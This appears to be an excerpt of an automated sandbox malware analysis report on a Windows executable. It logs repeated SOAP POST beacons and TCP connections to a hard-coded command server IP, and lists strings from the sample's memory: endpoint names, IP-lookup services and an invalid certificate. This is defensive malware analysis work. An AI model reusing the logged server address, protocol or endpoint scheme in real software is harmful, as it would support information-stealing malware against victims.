Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate

Source: Joe Sandbox View

ASN Name: VOLIA-ASUA VOLIA-ASUA

Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.155.31

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	String found in binary or memory: http://45.137.155.31:11556
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://45.137.155.31:11556/
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://45.137.155.31:115564
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468837509.0000000002BC1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/D
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468837509.0000000002BC1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468837509.0000000002BC1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468837509.0000000002BC1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469143603.0000000002C5A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469143603.0000000002C5A000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/0
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetArguments
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetArgumentsResponse$
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse$
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyScanRequest
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyScanRequestResponse$
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse$
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ipify.org
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://icanhazip.com5https://wtfismyip.com/textChttp://bot.whatismyipaddress.com/3http://checkip.dy
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	String found in binary or memory: https://sectigo.com/CPS0D

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 1_2_0279C25C	1_2_0279C25C
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 1_2_0279E1D0	1_2_0279E1D0
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 1_2_0279E1C0	1_2_0279E1C0
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 1_2_04E44088	1_2_04E44088
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 1_2_04E451C0	1_2_04E451C0
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 1_2_04E4E860	1_2_04E4E860
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_01067248	2_2_01067248
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_01067258	2_2_01067258
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_050FB448	2_2_050FB448
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_050FBAB0	2_2_050FBAB0
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_050FC571	2_2_050FC571
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_050F2F60	2_2_050F2F60
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_050FDF78	2_2_050FDF78
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_050FDF88	2_2_050FDF88
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_05160040	2_2_05160040
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_05163AC0	2_2_05163AC0

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: invalid certificate

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.221997766.0000000002911000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameIsaacCore.dll4 vs 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
